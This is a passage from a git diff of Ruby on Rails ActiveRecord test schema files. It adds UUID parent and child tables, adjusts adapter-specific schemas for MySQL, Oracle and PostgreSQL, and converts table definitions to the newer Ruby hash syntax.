diff --git a/activerecord/test/models/uuid_parent.rb b/activerecord/test/models/uuid_parent.rb
new file mode 100644
index 0000000000..5634f22d0c
--- /dev/null
+++ b/activerecord/test/models/uuid_parent.rb
@@ -0,0 +1,3 @@
+class UuidParent < ActiveRecord::Base
+ has_many :uuid_children
+end
diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb
index f25f72c481..a9a6514c9d 100644
--- a/activerecord/test/schema/mysql2_specific_schema.rb
+++ b/activerecord/test/schema/mysql2_specific_schema.rb
@@ -14,6 +14,16 @@ ActiveRecord::Schema.define do
add_index :binary_fields, :var_binary
+ create_table :key_tests, force: true, :options => 'ENGINE=MyISAM' do |t|
+ t.string :awesome
+ t.string :pizza
+ t.string :snacks
+ end
+
+ add_index :key_tests, :awesome, :type => :fulltext, :name => 'index_key_tests_on_awesome'
+ add_index :key_tests, :pizza, :using => :btree, :name => 'index_key_tests_on_pizza'
+ add_index :key_tests, :snacks, :name => 'index_key_tests_on_snack'
+
ActiveRecord::Base.connection.execute <<-SQL
DROP PROCEDURE IF EXISTS ten;
SQL
@@ -42,7 +52,7 @@ SQL
ActiveRecord::Base.connection.execute <<-SQL
CREATE TABLE enum_tests (
- enum_column ENUM('true','false')
+ enum_column ENUM('text','blob','tiny','medium','long')
)
SQL
end
diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb
index 5401c12ed5..f2cffca52c 100644
--- a/activerecord/test/schema/mysql_specific_schema.rb
+++ b/activerecord/test/schema/mysql_specific_schema.rb
@@ -14,6 +14,16 @@ ActiveRecord::Schema.define do
add_index :binary_fields, :var_binary
+ create_table :key_tests, force: true, :options => 'ENGINE=MyISAM' do |t|
+ t.string :awesome
+ t.string :pizza
+ t.string :snacks
+ end
+
+ add_index :key_tests, :awesome, :type => :fulltext, :name => 'index_key_tests_on_awesome'
+ add_index :key_tests, :pizza, :using => :btree, :name => 'index_key_tests_on_pizza'
+ add_index :key_tests, :snacks, :name => 'index_key_tests_on_snack'
+
ActiveRecord::Base.connection.execute <<-SQL
DROP PROCEDURE IF EXISTS ten;
SQL
@@ -53,7 +63,7 @@ SQL
ActiveRecord::Base.connection.execute <<-SQL
CREATE TABLE enum_tests (
- enum_column ENUM('true','false')
+ enum_column ENUM('text','blob','tiny','medium','long')
)
SQL
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
index 3314687445..264d9b8910 100644
--- a/activerecord/test/schema/oracle_specific_schema.rb
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -3,7 +3,6 @@ ActiveRecord::Schema.define do
execute "drop table test_oracle_defaults" rescue nil
execute "drop sequence test_oracle_defaults_seq" rescue nil
execute "drop sequence companies_nonstd_seq" rescue nil
- execute "drop synonym subjects" rescue nil
execute "drop table defaults" rescue nil
execute "drop sequence defaults_seq" rescue nil
@@ -22,8 +21,6 @@ create sequence test_oracle_defaults_seq minvalue 10000
execute "create sequence companies_nonstd_seq minvalue 10000"
- execute "create synonym subjects for topics"
-
execute <<-SQL
CREATE TABLE defaults (
id integer not null,
@@ -35,10 +32,7 @@ create sequence test_oracle_defaults_seq minvalue 10000
fixed_time date default TO_DATE('2004-01-01 00:00:00', 'YYYY-MM-DD HH24:MI:SS'),
char1 varchar2(1) default 'Y',
char2 varchar2(50) default 'a varchar field',
- char3 clob default 'a text field',
- positive_integer integer default 1,
- negative_integer integer default -1,
- decimal_number number(3,2) default 2.78
+ char3 clob default 'a text field'
)
SQL
execute "create sequence defaults_seq minvalue 10000"
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index ab2a63d3ea..55360b9aa2 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,7 +1,7 @@
ActiveRecord::Schema.define do
- %w(postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids
- postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
+ %w(postgresql_times postgresql_oids defaults postgresql_timestamp_with_zones
+ postgresql_partitioned_table postgresql_partitioned_table_parent).each do |table_name|
execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
end
@@ -12,8 +12,6 @@ ActiveRecord::Schema.define do
execute 'DROP FUNCTION IF EXISTS partitioned_insert_trigger()'
- execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
-
%w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
execute "SELECT setval('#{seq_name}', 100)"
end
@@ -30,89 +28,13 @@ ActiveRecord::Schema.define do
char1 char(1) default 'Y',
char2 character varying(50) default 'a varchar field',
char3 text default 'a text field',
- positive_integer integer default 1,
- negative_integer integer default -1,
- decimal_number decimal(3,2) default 2.78,
+ bigint_default bigint default 0::bigint,
multiline_default text DEFAULT '--- []
'::text
);
_SQL
- execute "CREATE SCHEMA schema_1"
- execute "CREATE DOMAIN schema_1.text AS text"
- execute "CREATE DOMAIN schema_1.varchar AS varchar"
- execute "CREATE DOMAIN schema_1.bpchar AS bpchar"
-
- execute <<_SQL
- CREATE TABLE geometrics (
- id serial primary key,
- a_point point,
- -- a_line line, (the line type is currently not implemented in postgresql)
- a_line_segment lseg,
- a_box box,
- a_path path,
- a_polygon polygon,
- a_circle circle
- );
-_SQL
-
- execute <<_SQL
- CREATE TABLE postgresql_arrays (
- id SERIAL PRIMARY KEY,
- commission_by_quarter INTEGER[],
- nicknames TEXT[]
- );
-_SQL
-
- execute <<_SQL
- CREATE TABLE postgresql_uuids (
- id SERIAL PRIMARY KEY,
- guid uuid,
- compact_guid uuid
- );
-_SQL
-
- execute <<_SQL
- CREATE TABLE postgresql_tsvectors (
- id SERIAL PRIMARY KEY,
- text_vector tsvector
- );
-_SQL
-
- if 't' == select_value("select 'hstore'=ANY(select typname from pg_type)")
- execute <<_SQL
- CREATE TABLE postgresql_hstores (
- id SERIAL PRIMARY KEY,
- hash_store hstore default ''::hstore
- );
-_SQL
- end
-
- if 't' == select_value("select 'json'=ANY(select typname from pg_type)")
- execute <<_SQL
- CREATE TABLE postgresql_json_data_type (
- id SERIAL PRIMARY KEY,
- json_data json default '{}'::json
- );
-_SQL
- end
-
- execute <<_SQL
- CREATE TABLE postgresql_moneys (
- id SERIAL PRIMARY KEY,
- wealth MONEY
- );
-_SQL
-
- execute <<_SQL
- CREATE TABLE postgresql_numbers (
- id SERIAL PRIMARY KEY,
- single REAL,
- double DOUBLE PRECISION
- );
-_SQL
-
execute <<_SQL
CREATE TABLE postgresql_times (
id SERIAL PRIMARY KEY,
@@ -122,23 +44,6 @@ _SQL
_SQL
execute <<_SQL
- CREATE TABLE postgresql_network_addresses (
- id SERIAL PRIMARY KEY,
- cidr_address CIDR,
- inet_address INET,
- mac_address MACADDR
- );
-_SQL
-
- execute <<_SQL
- CREATE TABLE postgresql_bit_strings (
- id SERIAL PRIMARY KEY,
- bit_string BIT(8),
- bit_string_varying BIT VARYING(8)
- );
-_SQL
-
- execute <<_SQL
CREATE TABLE postgresql_oids (
id SERIAL PRIMARY KEY,
obj_id OID
@@ -199,4 +104,3 @@ _SQL
t.text :text, limit: 100_000
end
end
-
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index af14bc7bd5..720a127585 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -1,3 +1,5 @@
+# encoding: utf-8
+
ActiveRecord::Schema.define do
def except(adapter_names_to_exclude)
unless [adapter_names_to_exclude].flatten.include?(adapter_name)
@@ -7,13 +9,14 @@ ActiveRecord::Schema.define do
#put adapter specific setup here
case adapter_name
- # For Firebird, set the sequence values 10000 when create_table is called;
- # this prevents primary key collisions between "normally" created records
- # and fixture-based (YAML) records.
- when "Firebird"
- def create_table(*args, &block)
- ActiveRecord::Base.connection.create_table(*args, &block)
- ActiveRecord::Base.connection.execute "SET GENERATOR #{args.first}_seq TO 10000"
+ when "PostgreSQL"
+ enable_extension!('uuid-ossp', ActiveRecord::Base.connection)
+ create_table :uuid_parents, id: :uuid, force: true do |t|
+ t.string :name
+ end
+ create_table :uuid_children, id: :uuid, force: true do |t|
+ t.string :name
+ t.uuid :uuid_parent_id
end
end
@@ -25,111 +28,131 @@ ActiveRecord::Schema.define do
# #
# ------------------------------------------------------------------- #
- create_table :accounts, :force => true do |t|
+ create_table :accounts, force: true do |t|
t.integer :firm_id
t.string :firm_name
t.integer :credit_limit
end
- create_table :admin_accounts, :force => true do |t|
+ create_table :admin_accounts, force: true do |t|
t.string :name
end
- create_table :admin_users, :force => true do |t|
+ create_table :admin_users, force: true do |t|
t.string :name
- t.string :settings, :null => true, :limit => 1024
+ t.string :settings, null: true, limit: 1024
# MySQL does not allow default values for blobs. Fake it out with a
# big varchar below.
- t.string :preferences, :null => true, :default => '', :limit => 1024
- t.string :json_data, :null => true, :limit => 1024
- t.string :json_data_empty, :null => true, :default => "", :limit => 1024
+ t.string :preferences, null: true, default: '', limit: 1024
+ t.string :json_data, null: true, limit: 1024
+ t.string :json_data_empty, null: true, default: "", limit: 1024
+ t.text :params
t.references :account
end
- create_table :aircraft, :force => true do |t|
+ create_table :aircraft, force: true do |t|
t.string :name
end
- create_table :audit_logs, :force => true do |t|
- t.column :message, :string, :null=>false
- t.column :developer_id, :integer, :null=>false
+ create_table :articles, force: true do |t|
+ end
+
+ create_table :articles_magazines, force: true do |t|
+ t.references :article
+ t.references :magazine
+ end
+
+ create_table :articles_tags, force: true do |t|
+ t.references :article
+ t.references :tag
+ end
+
+ create_table :audit_logs, force: true do |t|
+ t.column :message, :string, null: false
+ t.column :developer_id, :integer, null: false
t.integer :unvalidated_developer_id
end
- create_table :authors, :force => true do |t|
- t.string :name, :null => false
+ create_table :authors, force: true do |t|
+ t.string :name, null: false
t.integer :author_address_id
t.integer :author_address_extra_id
t.string :organization_id
t.string :owned_essay_id
end
- create_table :author_addresses, :force => true do |t|
+ create_table :author_addresses, force: true do |t|
end
- create_table :author_favorites, :force => true do |t|
+ add_foreign_key :authors, :author_addresses
+
+ create_table :author_favorites, force: true do |t|
t.column :author_id, :integer
t.column :favorite_author_id, :integer
end
- create_table :auto_id_tests, :force => true, :id => false do |t|
+ create_table :auto_id_tests, force: true, id: false do |t|
t.primary_key :auto_id
t.integer :value
end
- create_table :binaries, :force => true do |t|
+ create_table :binaries, force: true do |t|
t.string :name
t.binary :data
- t.binary :short_data, :limit => 2048
+ t.binary :short_data, limit: 2048
end
- create_table :birds, :force => true do |t|
+ create_table :birds, force: true do |t|
t.string :name
t.string :color
t.integer :pirate_id
end
- create_table :books, :force => true do |t|
+ create_table :books, force: true do |t|
t.integer :author_id
+ t.string :format
t.column :name, :string
+ t.column :status, :integer, default: 0
+ t.column :read_status, :integer, default: 0
+ t.column :nullable_status, :integer
end
- create_table :booleans, :force => true do |t|
+ create_table :booleans, force: true do |t|
t.boolean :value
- t.boolean :has_fun, :null => false, :default => false
+ t.boolean :has_fun, null: false, default: false
end
- create_table :bulbs, :force => true do |t|
+ create_table :bulbs, force: true do |t|
t.integer :car_id
t.string :name
t.boolean :frickinawesome
t.string :color
end
- create_table "CamelCase", :force => true do |t|
+ create_table "CamelCase", force: true do |t|
t.string :name
end
- create_table :cars, :force => true do |t|
+ create_table :cars, force: true do |t|
t.string :name
t.integer :engines_count
t.integer :wheels_count
- t.column :lock_version, :integer, :null => false, :default => 0
- t.timestamps
+ t.column :lock_version, :integer, null: false, default: 0
+ t.timestamps null: false
end
- create_table :categories, :force => true do |t|
- t.string :name, :null => false
+ create_table :categories, force: true do |t|
+ t.string :name, null: false
t.string :type
t.integer :categorizations_count
end
- create_table :categories_posts, :force => true, :id => false do |t|
- t.integer :category_id, :null => false
- t.integer :post_id, :null => false
+ create_table :categories_posts, force: true, id: false do |t|
+ t.integer :category_id, null: false
+ t.integer :post_id, null: false
end
- create_table :categorizations, :force => true do |t|
+ create_table :categorizations, force: true do |t|
t.column :category_id, :integer
t.string :named_category_name
t.column :post_id, :integer
@@ -137,123 +160,143 @@ ActiveRecord::Schema.define do
t.column :special, :boolean
end
- create_table :citations, :force => true do |t|
+ create_table :citations, force: true do |t|
t.column :book1_id, :integer
t.column :book2_id, :integer
end
- create_table :clubs, :force => true do |t|
+ create_table :clubs, force: true do |t|
t.string :name
t.integer :category_id
end
- create_table :collections, :force => true do |t|
+ create_table :collections, force: true do |t|
t.string :name
end
- create_table :colnametests, :force => true do |t|
- t.integer :references, :null => false
+ create_table :colnametests, force: true do |t|
+ t.integer :references, null: false
+ end
+
+ create_table :columns, force: true do |t|
+ t.references :record
end
- create_table :comments, :force => true do |t|
- t.integer :post_id, :null => false
+ create_table :comments, force: true do |t|
+ t.integer :post_id, null: false
# use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
# Oracle SELECT WHERE clause which causes many unit test failures
if current_adapter?(:OracleAdapter)
- t.string :body, :null => false, :limit => 4000
+ t.string :body, null: false, limit: 4000
else
- t.text :body, :null => false
+ t.text :body, null: false
end
t.string :type
- t.integer :taggings_count, :default => 0
- t.integer :children_count, :default => 0
+ t.integer :tags_count, default: 0
+ t.integer :children_count, default: 0
t.integer :parent_id
+ t.references :author, polymorphic: true
+ t.string :resource_id
+ t.string :resource_type
+ t.integer :developer_id
end
- create_table :companies, :force => true do |t|
+ create_table :companies, force: true do |t|
t.string :type
t.integer :firm_id
t.string :firm_name
t.string :name
t.integer :client_of
- t.integer :rating, :default => 1
+ t.integer :rating, default: 1
t.integer :account_id
- t.string :description, :default => ""
+ t.string :description, default: ""
end
- add_index :companies, [:firm_id, :type, :rating], :name => "company_index"
- add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
+ add_index :companies, [:firm_id, :type, :rating], name: "company_index"
+ add_index :companies, [:firm_id, :type], name: "company_partial_index", where: "rating > 10"
+ add_index :companies, :name, name: 'company_name_index', using: :btree
- create_table :vegetables, :force => true do |t|
+ create_table :vegetables, force: true do |t|
t.string :name
t.integer :seller_id
t.string :custom_type
end
- create_table :computers, :force => true do |t|
- t.integer :developer, :null => false
- t.integer :extendedWarranty, :null => false
+ create_table :computers, force: true do |t|
+ t.string :system
+ t.integer :developer, null: false
+ t.integer :extendedWarranty, null: false
+ end
+
+ create_table :computers_developers, id: false, force: true do |t|
+ t.references :computer
+ t.references :developer
end
- create_table :contracts, :force => true do |t|
+ create_table :contracts, force: true do |t|
t.integer :developer_id
t.integer :company_id
end
- create_table :customers, :force => true do |t|
+ create_table :customers, force: true do |t|
t.string :name
- t.integer :balance, :default => 0
+ t.integer :balance, default: 0
t.string :address_street
t.string :address_city
t.string :address_country
t.string :gps_location
end
- create_table :dashboards, :force => true, :id => false do |t|
+ create_table :dashboards, force: true, id: false do |t|
t.string :dashboard_id
t.string :name
end
- create_table :developers, :force => true do |t|
+ create_table :developers, force: true do |t|
t.string :name
- t.integer :salary, :default => 70000
+ t.integer :salary, default: 70000
t.datetime :created_at
t.datetime :updated_at
+ t.datetime :created_on
+ t.datetime :updated_on
end
- create_table :developers_projects, :force => true, :id => false do |t|
- t.integer :developer_id, :null => false
- t.integer :project_id, :null => false
+ create_table :developers_projects, force: true, id: false do |t|
+ t.integer :developer_id, null: false
+ t.integer :project_id, null: false
t.date :joined_on
- t.integer :access_level, :default => 1
+ t.integer :access_level, default: 1
end
- create_table :dog_lovers, :force => true do |t|
- t.integer :trained_dogs_count, :default => 0
- t.integer :bred_dogs_count, :default => 0
+ create_table :dog_lovers, force: true do |t|
+ t.integer :trained_dogs_count, default: 0
+ t.integer :bred_dogs_count, default: 0
+ t.integer :dogs_count, default: 0
end
- create_table :dogs, :force => true do |t|
+ create_table :dogs, force: true do |t|
t.integer :trainer_id
t.integer :breeder_id
+ t.integer :dog_lover_id
+ t.string :alias
end
- create_table :edges, :force => true, :id => false do |t|
- t.column :source_id, :integer, :null => false
- t.column :sink_id, :integer, :null => false
+ create_table :edges, force: true, id: false do |t|
+ t.column :source_id, :integer, null: false
+ t.column :sink_id, :integer, null: false
end
- add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
+ add_index :edges, [:source_id, :sink_id], unique: true, name: 'unique_edge_index'
- create_table :engines, :force => true do |t|
+ create_table :engines, force: true do |t|
t.integer :car_id
end
- create_table :entrants, :force => true do |t|
- t.string :name, :null => false
- t.integer :course_id, :null => false
+ create_table :entrants, force: true do |t|
+ t.string :name, null: false
+ t.integer :course_id, null: false
end
- create_table :essays, :force => true do |t|
+ create_table :essays, force: true do |t|
t.string :name
t.string :writer_id
t.string :writer_type
@@ -261,153 +304,156 @@ ActiveRecord::Schema.define do
t.string :author_id
end
- create_table :events, :force => true do |t|
- t.string :title, :limit => 5
+ create_table :events, force: true do |t|
+ t.string :title, limit: 5
end
- create_table :eyes, :force => true do |t|
+ create_table :eyes, force: true do |t|
end
- create_table :funny_jokes, :force => true do |t|
+ create_table :funny_jokes, force: true do |t|
t.string :name
end
- create_table :cold_jokes, :force => true do |t|
- t.string :name
+ create_table :cold_jokes, force: true do |t|
+ t.string :cold_name
end
- create_table :friendships, :force => true do |t|
+ create_table :friendships, force: true do |t|
t.integer :friend_id
- t.integer :person_id
+ t.integer :follower_id
end
- create_table :goofy_string_id, :force => true, :id => false do |t|
- t.string :id, :null => false
+ create_table :goofy_string_id, force: true, id: false do |t|
+ t.string :id, null: false
t.string :info
end
- create_table :having, :force => true do |t|
+ create_table :having, force: true do |t|
t.string :where
end
- create_table :guids, :force => true do |t|
+ create_table :guids, force: true do |t|
t.column :key, :string
end
- create_table :inept_wizards, :force => true do |t|
- t.column :name, :string, :null => false
- t.column :city, :string, :null => false
+ create_table :inept_wizards, force: true do |t|
+ t.column :name, :string, null: false
+ t.column :city, :string, null: false
t.column :type, :string
end
- create_table :integer_limits, :force => true do |t|
+ create_table :integer_limits, force: true do |t|
t.integer :"c_int_without_limit"
(1..8).each do |i|
- t.integer :"c_int_#{i}", :limit => i
+ t.integer :"c_int_#{i}", limit: i
end
end
- create_table :invoices, :force => true do |t|
+ create_table :invoices, force: true do |t|
t.integer :balance
t.datetime :updated_at
end
- create_table :iris, :force => true do |t|
+ create_table :iris, force: true do |t|
t.references :eye
t.string :color
end
- create_table :items, :force => true do |t|
+ create_table :items, force: true do |t|
t.column :name, :string
end
- create_table :jobs, :force => true do |t|
+ create_table :jobs, force: true do |t|
t.integer :ideal_reference_id
end
- create_table :keyboards, :force => true, :id => false do |t|
+ create_table :keyboards, force: true, id: false do |t|
t.primary_key :key_number
t.string :name
end
- create_table :legacy_things, :force => true do |t|
+ create_table :legacy_things, force: true do |t|
t.integer :tps_report_number
- t.integer :version, :null => false, :default => 0
+ t.integer :version, null: false, default: 0
end
- create_table :lessons, :force => true do |t|
+ create_table :lessons, force: true do |t|
t.string :name
end
- create_table :lessons_students, :id => false, :force => true do |t|
+ create_table :lessons_students, id: false, force: true do |t|
t.references :lesson
t.references :student
end
- create_table :lint_models, :force => true
+ create_table :lint_models, force: true
- create_table :line_items, :force => true do |t|
+ create_table :line_items, force: true do |t|
t.integer :invoice_id
t.integer :amount
end
- create_table :lock_without_defaults, :force => true do |t|
+ create_table :lock_without_defaults, force: true do |t|
t.column :lock_version, :integer
end
- create_table :lock_without_defaults_cust, :force => true do |t|
+ create_table :lock_without_defaults_cust, force: true do |t|
t.column :custom_lock_version, :integer
end
- create_table :mateys, :id => false, :force => true do |t|
+ create_table :magazines, force: true do |t|
+ end
+
+ create_table :mateys, id: false, force: true do |t|
t.column :pirate_id, :integer
t.column :target_id, :integer
t.column :weight, :integer
end
- create_table :members, :force => true do |t|
+ create_table :members, force: true do |t|
t.string :name
t.integer :member_type_id
end
- create_table :member_details, :force => true do |t|
+ create_table :member_details, force: true do |t|
t.integer :member_id
t.integer :organization_id
t.string :extra_data
end
- create_table :member_friends, :force => true, :id => false do |t|
+ create_table :member_friends, force: true, id: false do |t|
t.integer :member_id
t.integer :friend_id
end
- create_table :memberships, :force => true do |t|
+ create_table :memberships, force: true do |t|
t.datetime :joined_on
t.integer :club_id, :member_id
- t.boolean :favourite, :default => false
+ t.boolean :favourite, default: false
t.string :type
end
- create_table :member_types, :force => true do |t|
+ create_table :member_types, force: true do |t|
t.string :name
end
- create_table :minivans, :force => true, :id => false do |t|
+ create_table :minivans, force: true, id: false do |t|
t.string :minivan_id
t.string :name
t.string :speedometer_id
t.string :color
end
- create_table :minimalistics, :force => true do |t|
+ create_table :minimalistics, force: true do |t|
end
- create_table :mixed_case_monkeys, :force => true, :id => false do |t|
+ create_table :mixed_case_monkeys, force: true, id: false do |t|
t.primary_key :monkeyID
t.integer :fleaCount
end
- create_table :mixins, :force => true do |t|
+ create_table :mixins, force: true do |t|
t.integer :parent_id
t.integer :pos
t.datetime :created_at
@@ -418,52 +464,52 @@ ActiveRecord::Schema.define do
t.string :type
end
- create_table :movies, :force => true, :id => false do |t|
+ create_table :movies, force: true, id: false do |t|
t.primary_key :movieid
t.string :name
end
- create_table :numeric_data, :force => true do |t|
- t.decimal :bank_balance, :precision => 10, :scale => 2
- t.decimal :big_bank_balance, :precision => 15, :scale => 2
- t.decimal :world_population, :precision => 10, :scale => 0
- t.decimal :my_house_population, :precision => 2, :scale => 0
- t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+ create_table :numeric_data, force: true do |t|
+ t.decimal :bank_balance, precision: 10, scale: 2
+ t.decimal :big_bank_balance, precision: 15, scale: 2
+ t.decimal :world_population, precision: 10, scale: 0
+ t.decimal :my_house_population, precision: 2, scale: 0
+ t.decimal :decimal_number_with_default, precision: 3, scale: 2, default: 2.78
t.float :temperature
# Oracle/SQLServer supports precision up to 38
- if current_adapter?(:OracleAdapter,:SQLServerAdapter)
- t.decimal :atoms_in_universe, :precision => 38, :scale => 0
+ if current_adapter?(:OracleAdapter, :SQLServerAdapter)
+ t.decimal :atoms_in_universe, precision: 38, scale: 0
else
- t.decimal :atoms_in_universe, :precision => 55, :scale => 0
+ t.decimal :atoms_in_universe, precision: 55, scale: 0
end
end
- create_table :orders, :force => true do |t|
+ create_table :orders, force: true do |t|
t.string :name
t.integer :billing_customer_id
t.integer :shipping_customer_id
end
- create_table :organizations, :force => true do |t|
+ create_table :organizations, force: true do |t|
t.string :name
end
- create_table :owners, :primary_key => :owner_id ,:force => true do |t|
+ create_table :owners, primary_key: :owner_id, force: true do |t|
t.string :name
t.column :updated_at, :datetime
t.column :happy_at, :datetime
t.string :essay_id
end
- create_table :paint_colors, :force => true do |t|
+ create_table :paint_colors, force: true do |t|
t.integer :non_poly_one_id
end
- create_table :paint_textures, :force => true do |t|
+ create_table :paint_textures, force: true do |t|
t.integer :non_poly_two_id
end
- create_table :parrots, :force => true do |t|
+ create_table :parrots, force: true do |t|
t.column :name, :string
t.column :color, :string
t.column :parrot_sti_class, :string
@@ -474,41 +520,50 @@ ActiveRecord::Schema.define do
t.column :updated_on, :datetime
end
- create_table :parrots_pirates, :id => false, :force => true do |t|
+ create_table :parrots_pirates, id: false, force: true do |t|
t.column :parrot_id, :integer
t.column :pirate_id, :integer
end
- create_table :parrots_treasures, :id => false, :force => true do |t|
+ create_table :parrots_treasures, id: false, force: true do |t|
t.column :parrot_id, :integer
t.column :treasure_id, :integer
end
- create_table :people, :force => true do |t|
- t.string :first_name, :null => false
+ create_table :people, force: true do |t|
+ t.string :first_name, null: false
t.references :primary_contact
- t.string :gender, :limit => 1
+ t.string :gender, limit: 1
t.references :number1_fan
- t.integer :lock_version, :null => false, :default => 0
+ t.integer :lock_version, null: false, default: 0
t.string :comments
- t.integer :followers_count, :default => 0
+ t.integer :followers_count, default: 0
+ t.integer :friends_too_count, default: 0
t.references :best_friend
t.references :best_friend_of
- t.timestamps
+ t.integer :insures, null: false, default: 0
+ t.timestamp :born_at
+ t.timestamps null: false
end
- create_table :peoples_treasures, :id => false, :force => true do |t|
+ create_table :peoples_treasures, id: false, force: true do |t|
t.column :rich_person_id, :integer
t.column :treasure_id, :integer
end
- create_table :pets, :primary_key => :pet_id ,:force => true do |t|
+ create_table :personal_legacy_things, force: true do |t|
+ t.integer :tps_report_number
+ t.integer :person_id
+ t.integer :version, null: false, default: 0
+ end
+
+ create_table :pets, primary_key: :pet_id, force: true do |t|
t.string :name
t.integer :owner_id, :integer
- t.timestamps
+ t.timestamps null: false
end
- create_table :pirates, :force => true do |t|
+ create_table :pirates, force: true do |t|
t.column :catchphrase, :string
t.column :parrot_id, :integer
t.integer :non_validated_parrot_id
@@ -516,73 +571,83 @@ ActiveRecord::Schema.define do
t.column :updated_on, :datetime
end
- create_table :posts, :force => true do |t|
+ create_table :posts, force: true do |t|
t.integer :author_id
- t.string :title, :null => false
+ t.string :title, null: false
# use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
# Oracle SELECT WHERE clause which causes many unit test failures
if current_adapter?(:OracleAdapter)
- t.string :body, :null => false, :limit => 4000
+ t.string :body, null: false, limit: 4000
else
- t.text :body, :null => false
+ t.text :body, null: false
end
t.string :type
- t.integer :comments_count, :default => 0
- t.integer :taggings_count, :default => 0
- t.integer :taggings_with_delete_all_count, :default => 0
- t.integer :taggings_with_destroy_count, :default => 0
- t.integer :tags_count, :default => 0
- t.integer :tags_with_destroy_count, :default => 0
- t.integer :tags_with_nullify_count, :default => 0
+ t.integer :comments_count, default: 0
+ t.integer :taggings_with_delete_all_count, default: 0
+ t.integer :taggings_with_destroy_count, default: 0
+ t.integer :tags_count, default: 0
+ t.integer :tags_with_destroy_count, default: 0
+ t.integer :tags_with_nullify_count, default: 0
+ end
+
+ create_table :serialized_posts, force: true do |t|
+ t.integer :author_id
+ t.string :title, null: false
end
- create_table :price_estimates, :force => true do |t|
+ create_table :price_estimates, force: true do |t|
t.string :estimate_of_type
t.integer :estimate_of_id
t.integer :price
end
- create_table :products, :force => true do |t|
+ create_table :products, force: true do |t|
t.references :collection
+ t.references :type
t.string :name
end
- create_table :projects, :force => true do |t|
+ create_table :product_types, force: true do |t|
+ t.string :name
+ end
+
+ create_table :projects, force: true do |t|
t.string :name
t.string :type
end
- create_table :randomly_named_table, :force => true do |t|
+ create_table :randomly_named_table, force: true do |t|
t.string :some_attribute
t.integer :another_attribute
end
- create_table :ratings, :force => true do |t|
+ create_table :ratings, force: true do |t|
t.integer :comment_id
t.integer :value
end
- create_table :readers, :force => true do |t|
- t.integer :post_id, :null => false
- t.integer :person_id, :null => false
- t.boolean :skimmer, :default => false
+ create_table :readers, force: true do |t|
+ t.integer :post_id, null: false
+ t.integer :person_id, null: false
+ t.boolean :skimmer, default: false
+ t.integer :first_post_id
end
- create_table :references, :force => true do |t|
+ create_table :references, force: true do |t|
t.integer :person_id
t.integer :job_id
t.boolean :favourite
- t.integer :lock_version, :default => 0
+ t.integer :lock_version, default: 0
end
- create_table :shape_expressions, :force => true do |t|
+ create_table :shape_expressions, force: true do |t|
t.string :paint_type
t.integer :paint_id
t.string :shape_type
t.integer :shape_id
end
- create_table :ships, :force => true do |t|
+ create_table :ships, force: true do |t|
t.string :name
t.integer :pirate_id
t.integer :update_only_pirate_id
@@ -592,51 +657,53 @@ ActiveRecord::Schema.define do
t.datetime :updated_on
end
- create_table :ship_parts, :force => true do |t|
+ create_table :ship_parts, force: true do |t|
t.string :name
t.integer :ship_id
end
- create_table :speedometers, :force => true, :id => false do |t|
+ create_table :speedometers, force: true, id: false do |t|
t.string :speedometer_id
t.string :name
t.string :dashboard_id
end
- create_table :sponsors, :force => true do |t|
+ create_table :sponsors, force: true do |t|
t.integer :club_id
t.integer :sponsorable_id
t.string :sponsorable_type
end
- create_table :string_key_objects, :id => false, :primary_key => :id, :force => true do |t|
+ create_table :string_key_objects, id: false, primary_key: :id, force: true do |t|
t.string :id
t.string :name
- t.integer :lock_version, :null => false, :default => 0
+ t.integer :lock_version, null: false, default: 0
end
- create_table :students, :force => true do |t|
+ create_table :students, force: true do |t|
t.string :name
+ t.boolean :active
+ t.integer :college_id
end
- create_table :subscribers, :force => true, :id => false do |t|
- t.string :nick, :null => false
+ create_table :subscribers, force: true, id: false do |t|
+ t.string :nick, null: false
t.string :name
- t.column :books_count, :integer, :null => false, :default => 0
+ t.column :books_count, :integer, null: false, default: 0
end
- add_index :subscribers, :nick, :unique => true
+ add_index :subscribers, :nick, unique: true
- create_table :subscriptions, :force => true do |t|
+ create_table :subscriptions, force: true do |t|
t.string :subscriber_id
t.integer :book_id
end
- create_table :tags, :force => true do |t|
+ create_table :tags, force: true do |t|
t.column :name, :string
- t.column :taggings_count, :integer, :default => 0
+ t.column :taggings_count, :integer, default: 0
end
- create_table :taggings, :force => true do |t|
+ create_table :taggings, force: true do |t|
t.column :tag_id, :integer
t.column :super_tag_id, :integer
t.column :taggable_type, :string
@@ -644,92 +711,100 @@ ActiveRecord::Schema.define do
t.string :comment
end
- create_table :tasks, :force => true do |t|
+ create_table :tasks, force: true do |t|
t.datetime :starting
t.datetime :ending
end
- create_table :topics, :force => true do |t|
- t.string :title
+ create_table :topics, force: true do |t|
+ t.string :title, limit: 250
t.string :author_name
t.string :author_email_address
- t.datetime :written_on
+ if mysql_56?
+ t.datetime :written_on, limit: 6
+ else
+ t.datetime :written_on
+ end
t.time :bonus_time
t.date :last_read
# use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
# Oracle SELECT WHERE clause which causes many unit test failures
if current_adapter?(:OracleAdapter)
